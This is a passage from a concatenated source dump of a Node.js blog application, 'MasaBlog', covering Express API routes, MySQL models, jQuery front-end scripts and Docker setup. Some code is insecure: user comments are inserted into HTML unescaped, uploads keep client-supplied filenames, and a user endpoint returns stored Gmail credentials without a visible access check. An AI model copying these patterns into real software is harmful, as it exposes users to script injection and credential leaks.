MasaBlog.</p>", "<p>You can see your comment and reply at <a href='" + url + "'>" + url + "</a><br>", "<p>Thank you,</p>", "<p>" + data.username + "</p>" ].join(''); let options = { from: '"' + data.username + '" <' + data.email + '>', to: data.commenterEmail, subject: "Notification for your comment's reply at MasaBlog", html: mailBody, }; transporter.sendMail(options, function (error, info) { if (error) util.sendResponse(res, 500, error.message); else util.sendResponse(res, 200, result); }); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); module.exports = router;<file_sep>/models/postModel.js 'use strict'; let db = require('./db.js'); module.exports = { table: 'masa_posts', findById (id) { return db.getRow("select * from " + this.table + " where id=?", [id]); }, findByText(text) { text = '%' + text + '%'; return db.getResult("select * from " + this.table + " where is_active=true and is_published=true and (title like ? or description like ? or body like ?) order by sequence DESC", [text, text, text]); }, findByCategory (id) { return db.getResult("select * from " + this.table + " where is_active=true and is_published=true and category_id=? order by sequence DESC", [id]); }, findAll () { return db.getResult("select * from " + this.table + " where is_active=true order by sequence DESC", null); }, findPublished () { return db.getResult("select * from " + this.table + " where is_active=true and is_published=true order by sequence DESC", null); }, findPublishedWithOnlyTitle () { return db.getResult("select id, title from " + this.table + " where is_active=true and is_published=true order by sequence DESC", null); }, findRecent (limit) { return db.getResult("select * from " + this.table + " where is_active=true and is_published=true order by created_at DESC limit ?", [limit]); }, findInRange (offset, limit) { return db.getResult("select * from " + this.table + " where is_active=true and is_published=true order by sequence DESC limit ? offset ?", [limit, offset]); }, findByCategoryInRange (id, offset, limit) { return db.getResult("select * from " + this.table + " where is_active=true and is_published=true and category_id = ? order by sequence DESC limit ? offset ?", [id, limit, offset]); }, count () { let _self = this; return new Promise((resolve, reject) => { db.query("select COUNT(is_active=true) as count from " + _self.table, null, function (error, result) { if (error) reject(error); else resolve(result[0]); }); }); }, insert (data) { return db.insertSync(this.table, data); }, update (id, data) { return db.updateSync(this.table, id, data); }, updateSequence (id) { let _self = this; return new Promise((resolve, reject) => { db.query("update " + _self.table + " set sequence = sequence + 1 where id=?", [id], function (error, result) { if (error) reject(error); else resolve(result); }); }); }, delete (id) { return db.updateSync(this.table, id, {is_active: false}); } };<file_sep>/docker-compose.yml version: "2" services: mysql: image: mysql:5.6 ports: - 3306:3306 environment: MYSQL_ROOT_PASSWORD: <PASSWORD> env_file: - ./docs/environments volumes_from: - datastore datastore: image: busybox volumes: - masablog-data:/var/lib/mysql phpmyadminserver: image: phpmyadmin/phpmyadmin links: - mysql:db ports: - 8080:80 volumes: masablog-data: driver: local<file_sep>/routes/api/v1/users.js 'use strict'; let express = require('express'); let router = express.Router(); let fs = require('fs'); let co = require('co'); let multer = require('multer'); let util = require('../../../helper/util.js'); let userModel = require('../../../models/userModel.js'); let storage = multer.diskStorage({ destination: function (req, file, cb) { cb(null, 'public/assets/profile'); }, filename: function (req, file, cb) { cb(null, file.originalname); } }); let upload = multer({storage: storage}).single('photo'); let CREDENTIAL_DIR = (process.env.HOME || process.env.HOMEPATH || process.env.USERPROFILE) + '/.credentials/'; router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid User ID...'); let user = (yield userModel.findById(id)); delete user.password; if (user.gmail_credentials !== 'null' && user.gmail_credentials !== '') { fs.readFile(CREDENTIAL_DIR + user.gmail_credentials, function (error, context) { if (error) util.sendResponse(res, 500, error.message); else util.sendResponse(res, 200, {user: user, credentials: JSON.parse(context)}); }); } else { util.sendResponse(res, 200, {user: user, credentials: null}); } }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.put('/', function (req, res) { co(function *() { let id = parseInt(req.cookies.user.id); if (!util.isValidId(id)) throw new Error('Invalid user ID...'); let data = req.body; let credentials = util.clone(data.credentials); let isCredentialsUpdated = (data.isCredentialsUpdated === 'true'); if (data.username === undefined || data.username === '') throw new Error('Username is required...'); if (data.location === undefined || data.location === '') throw new Error('Location is reequired...'); if (data.weather_api === undefined || data.weather_api === '') throw new Error('Weather API Key is required...'); if (credentials !== null && credentials !== '' && (req.cookies.user.gmail_credentials === '' || req.cookies.user.gmail_credentials === null)) { data.gmail_credentials = util.generateRandomString(16) + '.json'; data.gmail_tokens = util.generateRandomString(16) + '_token.json'; req.cookies.user.gmail_credentials = data.gmail_credentials; req.cookies.user.gmail_tokens = data.gmail_tokens; } else if ((credentials === null || credentials === '') && (req.cookies.user.gmail_credentials !== '' && req.cookies.user.gmail_credentials !== null)) { let credential_path = CREDENTIAL_DIR + req.cookies.user.gmail_credentials; let token_path = CREDENTIAL_DIR + req.cookies.user.gmail_tokens; data.gmail_credentials = ''; data.gmail_tokens = ''; fs.unlinkSync(credential_path); fs.unlinkSync(token_path); req.cookies.user.gmail_credentials = ''; req.cookies.user.gmail_tokens = ''; } else if (isCredentialsUpdated && credentials !== null && credentials !== '' && req.cookies.user.gmail_credentials !== '' && req.cookies.user.gmail_credentials !== null) { let token_path = CREDENTIAL_DIR + req.cookies.user.gmail_tokens; fs.unlinkSync(token_path); } req.cookies.user.username = data.username; req.cookies.user.location = data.location; req.cookies.user.weather_api = data.weather_api; res.clearCookie('weather', null); res.clearCookie('oauth'); if (credentials !== null && credentials !== '' && isCredentialsUpdated) { fs.writeFile(CREDENTIAL_DIR + req.cookies.user.gmail_credentials, credentials, function (error, context) { co(function *() { if (error) throw new Error(error); else { delete data.credentials; delete data.isCredentialsUpdated; let result = (yield userModel.update(id, data)); res.cookie('user', req.cookies.user); console.log("Credential Information stored at " + CREDENTIAL_DIR + req.cookies.user.gmail_credentials); util.sendResponse(res, 200, result); } }).catch(function (e) { util.sendResponse(res, 500, error); console.log(e); }); }); } else { delete data.credentials; delete data.isCredentialsUpdated; let result = (yield userModel.update(id, data)); res.cookie('user', req.cookies.user); util.sendResponse(res, 200, result); } }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.put('/profile', function (req, res) { upload(req, res, function (error) { co(function *() { let id = parseInt(req.cookies.user.id); if (!util.isValidId(id)) throw new Error('Invalid user ID...'); if (error) throw new Error(error.message); let imagePath = util.getImagePath(req.file); if (imagePath === null) throw new Error('Profile Photo is required...'); let result = (yield userModel.update(id, {image_path: imagePath})); if (req.cookies.user.image_path !== null) { fs.unlink('public/assets/profile/' + req.cookies.user.image_path); } req.cookies.user.image_path = imagePath; res.cookie('user', req.cookies.user); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); }); router.put('/resetPassword', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.cookies.user.id); if (!util.isValidId(id)) throw new Error('Invalid User ID...'); if (req.body === undefined || req.body.currentPassword === undefined || req.body.currentPassword === '' || req.body.newPassword === undefined || req.body.newPassword === '') throw new Error('Passwords are required...'); let result = (yield userModel.resetPassword(id, req.body.currentPassword, req.body.newPassword)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); module.exports = router;<file_sep>/routes/api/v1/posts.js 'use strict'; let express = require('express'); let router = express.Router(); let co = require('co'); let util = require('../../../helper/util.js'); let postModel = require('../../../models/postModel.js'); let tagModel = require('../../../models/tagModel.js'); let relationModel = require('../../../models/relationModel.js'); router.get('/', function (req, res) { co(function *() { let posts = (yield postModel.findAll()); util.sendResponse(res, 200, posts); }).catch(function (e) { console.log(e); util.sendResponse(res, 500, e.message); }); }); router.get('/search/:keyword', function (req, res) { co(function *() { let searchedResult = (yield postModel.findByText(req.params.keyword)); util.sendResponse(res, 200, searchedResult); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/range', function (req, res) { co(function *() { let offset = req.query.offset; let limit = req.query.limit; let posts = (yield postModel.findInRange(parseInt(offset), parseInt(limit))); util.sendResponse(res, 200, posts); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/data', function (req, res) { co(function *() { let tags = (yield tagModel.findAll()); let recentPosts = (yield postModel.findRecent(4)); util.sendResponse(res, 200, {tags: tags, recentPosts: recentPosts}); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let post = postModel.findById(id); util.sendResponse(res, 200, post); }).catch(function (e) { console.log(e); util.sendResponse(res, 500, e.message); }); }); router.post('/', util.allowAction, function (req, res) { co(function *() { if (!util.isValidId(parseInt(req.cookies.user.id))) throw new Error('User ID is not defined...'); if (!util.isValidId(parseInt(req.body.category_id))) throw new Error('Invalid Category ID...'); let tags = req.body.tags.split(','); if (!validateTagId(tags)) throw new Error('Invalid Tag ID...'); let validateResult = validateParams(req.body, req.cookies.user.id); if (validateResult.error) throw new Error(validateResult.error); let postResult = (yield postModel.insert(validateResult.data)); let tagResult = (yield relationModel.insertPostTags(postResult, tags)); util.sendResponse(res, 200, {post: postResult, tag: tagResult}); }).catch(function (e) { console.log(e); util.sendResponse(res, 500, e.message); }); }); router.post('/relatedTag', util.allowAction, function (req, res) { co(function *() { let post_id = parseInt(req.body.post_id); let tag_id = parseInt(req.body.tag_id); if (!util.isValidId(post_id)) throw new Error('Invalid Post ID...'); if (!util.isValidId(tag_id)) throw new Error('Invalid Tag ID...'); let result = (yield relationModel.insertPostTag({post_id: post_id, tag_id: tag_id})); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.put('/sequence/:id', function (req, res) { co(function *() { if (req.cookies.user) return util.sendResponse(res, 200, null); let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid Post ID...'); let result = (yield postModel.updateSequence(id)); util.sendResponse(res, 200, result); }).catch(function (e) { console.log(e); util.sendResponse(res, 500, e.message); }); }); router.put('/publishment/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid Post ID...'); if (req.body.is_published === undefined || req.body.is_published === null) throw new Error('Invalid Data...'); let isPublished = req.body.is_published === 'true'; let result = (yield postModel.update(id, {is_published: isPublished})); util.sendResponse(res, 200, result); }).catch(function (e) { console.log(e); util.sendResponse(res, 500, e.message); }); }); router.put('/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let result = (yield postModel.update(id, { category_id: req.body.category_id, title: req.body.title, description: req.body.description, body: req.body.body, image_path: req.body.image_path })); util.sendResponse(res, 200, result); }).catch(function (e) { console.log(e); util.sendResponse(res, 500, e.message); }); }); router.delete('/relatedTag', util.allowAction, function (req, res) { co(function *() { let post_id = parseInt(req.body.post_id); let tag_id = parseInt(req.body.tag_id); if (!util.isValidId(post_id)) throw new Error('Invalid Post ID...'); if (!util.isValidId(tag_id)) throw new Error('Invalid Tag ID...'); let result = (yield relationModel.deletePostTagByIds(post_id, tag_id)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.delete('/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); if (id !== parseInt(req.body.id) || !util.isValidId(id)) throw new Error('Invalid ID...'); let result = (yield postModel.delete(id)); util.sendResponse(res, 200, result); }).catch(function (e) { console.log(e); util.sendResponse(res, 500, e.message); }); }); function validateParams(params, admin_id) { let error = null; if (params.title === '' || params.title === undefined || params.title === null) error = 'TItle is required...'; if (params.image_path === '' || params.image_path === undefined || params.image_path === null) error = 'Cover image is required...'; if (params.description === '' || params.description === undefined || params.description === null) error = 'Description is required...'; if (params.body === '' || params.body === undefined || params.body === null) error = 'Content body is required...'; if (error) return {error: error, data: null}; let data = {}; data.title = params.title; data.image_path = params.image_path; data.description = params.description; data.body = params.body; data.is_active = true; data.created_at = new Date(); data.admin_id = admin_id; data.category_id = params.category_id; data.is_published = false; data.sequence = 0; return {error: null, data: data}; } function validateTagId(tags) { let length = tags.length; for (let i = 0; i < length; i++) { if (!util.isValidId(parseInt(tags[i]))) { return false; } } return true; } module.exports = router;<file_sep>/public/javascripts/admin/comment_list_v.js (function ($) { 'use strict'; let CommentList = { commentMaxLength: 0, currentPage: 0, initialize () { let _self = this; this.commentMaxLength = parseInt(COMMENT_MAX_LENGTH); this._comments = COMMENTS; let totalPage = Math.ceil(parseInt(this._comments.length) / parseFloat(this.commentMaxLength)); let nav = $('ul#comment-pagination'); this.currentPage = 1; if (totalPage <= 1) return this; nav.twbsPagination({ totalPages: totalPage, visiblePages: _self.commentMaxLength, onPageClick: function (event, page) { let offset = (page - 1) * _self.commentMaxLength; let limit = page * _self.commentMaxLength; if (page === _self.currentPage) return false; _self.currentPage = page; _self.changeComments(_self._comments.slice(offset, limit)); } }); }, changeComments (comments) { let length = Math.min(comments.length, this.commentMaxLength); let commentBox = $('div.comment-wrapper'); let item = $('div.comment'); let itemLength = item.length; let difference = itemLength - length; if (difference > 0) { item.slice((itemLength - difference), itemLength).remove(); } for (let i = 0; i < length; i++) { if (i >= itemLength) { let newItem = [ '<div class="comment col-md-6"><a href="/admin/comments/' + comments[i].post_id + '" class="content-wrapper">', '<div class="col comment-count"><span class="count">' + comments[i].count + '</span></div>', '<div class="col comment-title"><p class="title">' + comments[i].title + '</p></div></a></div>' ].join(' '); commentBox.append(newItem); } else { let comment = $(item[i]); comment.find('a.content-wrapper').attr('href', '/admin/comments/' + comments[i].post_id); comment.find('span.count').text(comments[i].count); comment.find('p.title').text(comments[i].title); } } } }; $(function () { CommentList.initialize(); }); }).apply(this, [jQuery]);<file_sep>/public/javascripts/post_v.js (function ($) { 'use strict'; let PostContent = { COMMENT_MAX_HEIGHT: 120, initialize () { this._post = POST; this._tags = TAGS; this._replies = REPLIES; this._replies.sort(this.sortReply); this.build().events(); }, build () { // Setting post informations (tag, date) let date = moment(new Date(this._post.created_at)).format('MMMM Do YYYY'); let tagLength = this._tags.length; let tagInfo = '', glue = ''; for (let i = 0; i < tagLength; i++) { tagInfo += (glue + this._tags[i].name); if (glue === '') glue = ', '; } let info = '<i class="fa fa-calendar"></i> ' + date + (tagInfo !== '' ? ' <i class="fa fa-tags"></i> ' + tagInfo : ''); $('p.post-info').html(info); // Setting comments element this.setCommentAdditionals(); // Updating Post's sequence -> previous value + 1 $.ajax({ url: '/api/v1/posts/sequence/' + this._post.id, type: 'PUT', dataType: 'json', timeout: 10000, error (data, status, errorThrown) { let error = $('#error-dialog'); error.text('Error Occurred.. Please check your internet connection and contact administrator.'); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); return this; }, events () { let _self = this; $(document).on('click', '#comment-show', function (event) { let icon = $(this).find('span'); let commentContent = $('div.comment-content'); let layer = $('div.comment-layer'); if (icon.hasClass('fa-chevron-down')) { icon.removeClass('fa-chevron-down'); icon.addClass('fa-chevron-up'); commentContent.css('overflow-y', 'visible'); commentContent.css('max-height', 'inherit'); layer.hide(); } else { icon.removeClass('fa-chevron-up'); icon.addClass('fa-chevron-down'); commentContent.css('overflow-y', 'hidden'); commentContent.css('max-height', _self.COMMENT_MAX_HEIGHT + 'px'); layer.show(); } }); $('#comment-form').on('submit', function (event) { event.preventDefault(); let data = {}; data.post_id = _self._post.id; data.username = $('#comment-input-name').val().trim(); data.email = $('#comment-input-email').val().trim(); data.comments = $('#comment-input-body').val().trim(); let error = $('span.error-text'); if (data.username === '' || data.email === '' || data.comments === '') { error.text('Please input all fields'); return; } let regex = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; if (!regex.test(data.email)) { error.text('Invalid Email Addres...'); return; } error.text(''); let submit = $('.comment-submit'); $.ajax({ url: '/api/v1/comments', type: 'POST', dataType: 'json', data: data, timeout: 10000, beforeSend (xhr, settings) { submit.prop('disabled', true); }, complete (xhr, settings) { submit.prop('disabled', false); $('#comment-input-name').val(''); $('#comment-input-email').val(''); $('#comment-input-body').val(''); }, success (data, status, errorThrown) { _self.refreshComments(); let success = $('#success-dialog'); success.text('Comment has been successfully created.'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { _self.refreshComments(); let error = $('#error-dialog'); error.text('Error Occurred: ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }); }, refreshComments () { let _self = this; $.getJSON('/api/v1/comments/post/refresh/' + this._post.id, null, function (data) { let content = $('div.comment-content'); let items = $('div.comment'); let itemLength = items.length; let comments = data.comments; let commentLength = comments.length; let difference = itemLength - commentLength; if (commentLength !== 0) { $('div.comment-wrapper').css('display', 'block'); } if (difference > 0) { items.slice((itemLength - difference), itemLength).remove(); items = $('div.comment'); } $('div.reply').remove(); for (let i = 0; i < commentLength; i++) { let date = moment(new Date(comments[i].date)).format('MMM Do, YYYY'); if (i >= itemLength) { let commentItem = [ '<div class="comment"><input type="hidden" name="comment_id" class="comment-id" value="' + comments[i].id + '"><h4 class="commenter">' + comments[i].username + ' <small>on ' + date + '</small></h4>', '<p class="comment-body">' + comments[i].comments + '</p></div>' ].join(' '); content.append(commentItem); } else { let item = items.eq(i); item.find('input.comment-id').val(comments[i].id); item.find('h4.commenter').html(comments[i].username + ' <small>on ' + date + '</small>') item.find('p.comment-body').text(comments[i].comments); } } _self._replies = data.replies; _self.setCommentAdditionals(); }); }, setCommentAdditionals () { let comments = $('div.comment'); let commentLength = comments.length; if (commentLength !== 0) { // Adding Replies let replyLength = this._replies.length; let j = 0; for (let i = 0; i < replyLength; i++) { let replyTo = parseInt(this._replies[i].reply_to); while (j < commentLength) { let comment = comments.eq(j); if (replyTo === parseInt(comment.find('input.comment-id').val())) { this.addReplyComment(comment, this._replies[i]); break; } j++; } } let height = 0; for (let j = 0; j < commentLength; j++) { height += comments.eq(j).get(0).offsetHeight; } if (height > this.COMMENT_MAX_HEIGHT) { if ($('#comment-show').length === 0) $('div.comment-wrapper').append('<a id="comment-show" class="btn"><span class="fa fa-chevron-down"></span></a>'); if ($('div.comment-layer').length === 0) $('div.comment-content').append('<div class="comment-layer"></div>'); } } }, addReplyComment (comment, reply) { if (comment.find('div.reply').length === 0) { comment.append('<div class="reply"><hr class="reply-line"></div>'); } let date = moment(new Date(reply.date)).format('MMM Do, YYYY'); let replyComment = [ '<div class="reply-comment">', '<h4 class="commenter">' + reply.username + ' <small>on ' + date + '</small></h4>', '<p class="comment-body">' + reply.comments + '</p></div>' ].join(' '); comment.find('div.reply').append(replyComment); }, sortReply (a, b) { let comparison = 0; let aReply = parseInt(a.reply_to); let bReply = parseInt(b.reply_to); if (aReply > bReply) comparison = 1; else if (aReply < bReply) comparison = -1; return comparison; }, }; $(function () { PostContent.initialize(); }); }).apply(this, [jQuery]); <file_sep>/models/eventModel.js 'use strict'; let db = require('./db.js'); module.exports = { table: 'masa_events', findById (id) { return db.getRow("select * from " + this.table + " where id=?", [id]); }, findByAdmin (id) { return db.getResult("select id, title, start, end, all_day as allDay from " + this.table + " where admin_id=? and is_active=true", [id]); }, findAll () { return db.getResult("select id, title, start, end, all_day as allDay from " + this.table + " where is_active=true", null); }, insert (data) { return db.insertSync(this.table, data); }, update (id, data) { return db.updateSync(this.table, id, data); }, delete (id) { return db.updateSync(this.table, id, {is_active: false}); } };<file_sep>/public/javascripts/admin/comment_v.js (function ($) { 'use strict'; let Comments = { initialize() { this.$replyForm = $('#reply-form'); this.$error = $('span.error-text'); this._replies = REPLIES; this.build().events(); }, build(isSorted) { let length = this._replies.length; if (length === 0) return this; if (isSorted !== true) { this._replies.sort(function (a, b) { let comparison = 0; let aReply = parseInt(a.reply_to); let bReply = parseInt(b.reply_to); if (aReply > bReply) { comparison = 1; } else if (aReply < bReply) { comparison = -1; } return comparison; }); } let comments = $('div.comment'); let commentLength = comments.length; let j = 0; for (let i = 0; i < length; i++) { let replyTo = parseInt(this._replies[i].reply_to); while (j < commentLength) { let comment = comments.eq(j); if (replyTo === parseInt(comment.find('input.comment-id').val())) { this.addReplyComment(comment, this._replies[i]); break; } j++; } } return this; }, events () { let _self = this; $('.btn-reply').on('click', function (event) { let $this = $(this); let comment = $this.closest('div.comment'); let id = comment.find('input.comment-id').val(); if (_self.$replyForm.is(':visible')) { let comment = _self.$replyForm.closest('div.comment'); comment.find('.btn-reply').show(); _self.resetForm(); _self.$replyForm.hide(); } comment.append(_self.$replyForm); _self.$replyForm.find('input#reply-to').val(id); _self.$replyForm.toggle('Slow'); $(this).hide(); }); $('#reply-cancel').on('click', function (event) { let $this = $(this); let comment = $this.closest('div.comment'); comment.find('.btn-reply').show(); _self.$replyForm.toggle('Slow'); _self.resetForm(); }); $('#reply-submit').on('click', function (event) { let replyComment = {}; replyComment.post_id = _self.$replyForm.find('input#reply-post-id').val(); replyComment.reply_to = _self.$replyForm.find('input#reply-to').val(); replyComment.email = _self.$replyForm.find('input#reply-email').val(); replyComment.username = _self.$replyForm.find('input#reply-username').val(); replyComment.comments = _self.$replyForm.find('textarea#reply-body').val(); for (let key in replyComment) { if (!replyComment.hasOwnProperty(key)) continue; if (replyComment[key] === '') { _self.$error.text('Invalid ' + key.replace('_', ' ')); return; } } _self.$error.text(''); let comment = $(this).closest('div.comment'); replyComment.commenterUsername = comment.find('.commenter-username').text(); replyComment.commenterEmail = comment.find('.comment-email').val(); let submit = $(this); $.ajax({ url: '/api/v1/comments/reply', type: 'POST', dataType: 'json', data: replyComment, timeout: 50000, beforeSend (xhr, settings) { submit.prop('disabled', true); }, success (data, status, errorThrown) { submit.prop('disabled', false); _self.refresh(replyComment.post_id); _self.$replyForm.toggle('slow'); _self.resetForm(); comment.find('.btn-reply').show(); replyComment.date = new Date(); let success = $('#success-dialog'); success.text('Comments successfully have been replied'); success.fadeIn(1000).delay(3000).fadeOut(1000); }, error (data, status, errorThrown) { submit.prop('disabled', false); _self.refresh(replyComment.post_id); _self.resetForm(); _self.$replyForm.toggle('slow'); comment.find('.btn-reply').show(); let error = $('#error-dialog'); error.text('Error occurred : ' + errorThrown); error.fadeIn(1000).delay(3000).fadeOut(1000); } }); }); }, refresh (postId) { let _self = this; $.getJSON('/api/v1/comments/post/refresh/' + postId, null, function (data) { $('div.reply').remove(); let wrapper = $('div.comment-wrapper'); let items = $('div.comment'); let itemLength = items.length; let comments = data.comments; let commentLength = comments.length; let difference = itemLength - commentLength; if (difference > 0) { items.slice((itemLength - difference), itemLength).remove(); items = $('div.comment'); } for (let i = 0; i < commentLength; i++) { let date = moment(new Date(comments[i].date)).format('MMM Do, YYYY'); if (i >= itemLength) { let commentItem = [ '<div class="comment"><input type="hidden" name="comment_id" class="comment-id" value="' + comments[i].id + '">', '<input type="hidden" name="comment_email" class="comment-email" value="' + comments[i].email + '">', '<h4 class="commenter"><span class="commenter-info"><span class="commenter-username">' + comments[i].username + '</span> <small>on ' + date + '</small></span></h4> <button class="btn btn-warning pull-right btn-reply"><span class="lg-reply">Reply</span> <span class="fa fa-reply"></span></button>', '<p class="comment-body">' + comments[i].comments + '</p></div>' ].join(' '); wrapper.append(commentItem); } else { let item = items.eq(i); item.find('input.comment-id').val(comments[i].id); item.find('input.comment-email').val(comments[i].email); item.find('span.commenter-username').text(comments[i].username); item.find('h4.commenter small').text('on ' + date); item.find('p.comment-body').text(comments[i].comments); } } _self._replies = data.replies; _self.build(true); }); }, addReplyComment (comment, data) { if (comment.find('div.reply').length === 0) { comment.append('<div class="reply"><hr class="reply-line"></div>'); } let date = moment(new Date(data.date)).format('MMM Do, YYYY'); let replyComment = [ '<div class="reply-comment">', '<h4 class="commenter"><span class="commenter-info"><span class="commenter-username">' + data.username + '</span> <small>on ' + date + '</small></span></h4>', '<p class="comment-body">' + data.comments + '</p></div>' ].join(' '); comment.find('div.reply').append(replyComment); }, resetForm () { this.$replyForm.find('input#reply-to').val(''); this.$replyForm.find('textarea#reply-body').val(''); this.$error.text(''); } }; $(function () { Comments.initialize(); }); }).apply(this, [jQuery]); <file_sep>/routes/api/v1/events.js 'use strict'; let express = require('express'); let router = express.Router(); let co = require('co'); let util = require('../../../helper/util.js'); let eventModel = require('../../../models/eventModel.js'); router.get('/', function (req, res) { co(function *() { if (!req.cookies.user || !util.isValidId(parseInt(req.cookies.user.id))) throw new Error('Invalid User ID...'); let events = (yield eventModel.findByAdmin(req.cookies.user.id)); util.sendResponse(res, 200, events); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let event = (yield eventModel.findById(id)); util.sendResponse(res, 200, event); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/', util.allowAction, function (req, res) { co(function *() { let data = req.body; data.is_active = true; data.admin_id = parseInt(req.cookies.user.id); if (!util.isValidId(data.admin_id)) throw new Error('Invalid User ID...'); if (!validateParams(data, ['title', 'start', 'end'])) throw new Error('You need to input all the required information...'); let result = (yield eventModel.insert(data)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.put('/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); if (!validateParams(req.body, ['title', 'start', 'end'])) throw new Error('You need to input all the required information...'); let result = (yield eventModel.update(id, req.body)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.delete('/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); if (id !== parseInt(req.body.id) || !util.isValidId(id)) throw new Error('Invalid ID...'); let result = (yield eventModel.delete(id)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); function validateParams(data, keys) { let length = keys.length; for (let i = 0; i < length; i++) { let value = data[keys[i]]; if (value === undefined || value === null || value === '') { return false; } } return true; } module.exports = router;<file_sep>/helper/apiHelper.js 'use strict'; let http = require('http'); /** * Get Weather information of specific location * * @param {String} location that you want to know weather of (e.g. Vancouver,CA) * @param {String} apiKey of OpenWeather API * @return {Object} an object that contains weather information */ function getWeatherInfo(location, apiKey) { return new Promise(function (resolve, reject) { const UNITS = 'metric'; let URL = 'http://api.openweathermap.org/data/2.5/weather?q='+ location +'&units='+ UNITS +'&appid='+ apiKey; http.get(URL, function(response) { let body = ''; response.setEncoding('utf8'); response.on('data', function(chunk) { body += chunk; }); response.on('end', function () { let error; if (response.statusCode === 200) { resolve(JSON.parse(body)); } else { error = new Error(); error.code = response.statusCode; error.message = response.statusMessage; error.innerError = JSON.parse(body.trim()).error; reject(error); } }); }).on('error', function(e) { reject(e); }); }); } exports.getWeatherInfo = getWeatherInfo;<file_sep>/models/taskModel.js 'use strict'; let db = require('./db.js'); module.exports = { table: 'masa_tasks', findById (id) { return db.getRow("select * from " + this.table + " where id=?", [id]); }, findByAdmin (id) { return db.getResult("select * from " + this.table + " where admin_id=? order by created_at asc", [id]); }, findAll () { return db.getResult("select * from " + this.table, null); }, insert (data) { return db.insertSync(this.table, data); }, delete (id) { return db.deleteSync(this.table, id); } };<file_sep>/routes/api/v1/tags.js 'use strict'; let express = require('express'); let router = express.Router(); let co = require('co'); let util = require('../../../helper/util.js'); let tagModel = require('../../../models/tagModel.js'); router.get('/', function (req, res) { co(function *() { let tags = (yield tagModel.findAll()); util.sendResponse(res, 200, tags); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let tag = (yield tagModel.findById(id)); util.sendResponse(res, 200, tag); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/', util.allowAction, function (req, res) { co(function *() { let body = req.body; if (body.name === '' || body.name === null || body.name === undefined) throw new Error('Category name is required..'); let result = (yield tagModel.insert({ name: body.name, description: (body.description !== '' && body.description !== null && body.description !== undefined) ? body.description : '', is_active: true })); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/searchInsert', util.allowAction, function (req, res) { co(function *() { if (req.body === undefined || req.body.name === undefined || req.body.name === '' || req.body.name === null) throw new Error('Tag Name is required...'); let name = req.body.name; let tag = (yield tagModel.findByName(name)); if (tag !== null) { return util.sendResponse(res, 200, tag.id); } let result = (yield tagModel.insert({name: name, description: '', is_active: true})); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.put('/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); let data = {}; if (!util.isValidId(id)) throw new Error('Invalid ID...'); if (req.body.name !== null && req.body.name !== undefined && req.body.name !== '') data.name = req.body.name; if (req.body.description !== null && req.body.description !== undefined && req.body.description !== '') data.description = req.body.description; if (util.isEmpty(data)) throw new Error('No updated data is found...'); let result = (yield tagModel.update(id, data)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.delete('/:id', util.allowAction, function (req, res) { co(function *() { if (parseInt(req.params.id) !== parseInt(req.body.id)) throw new Error('Invalid ID...'); let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let result = (yield tagModel.delete(id)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); module.exports = router;<file_sep>/docs/db_configuration.sql CREATE TABLE `masa_admins` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `password` text NOT NULL, `image_path` varchar(255) NULL, `location` varchar(255) NOT 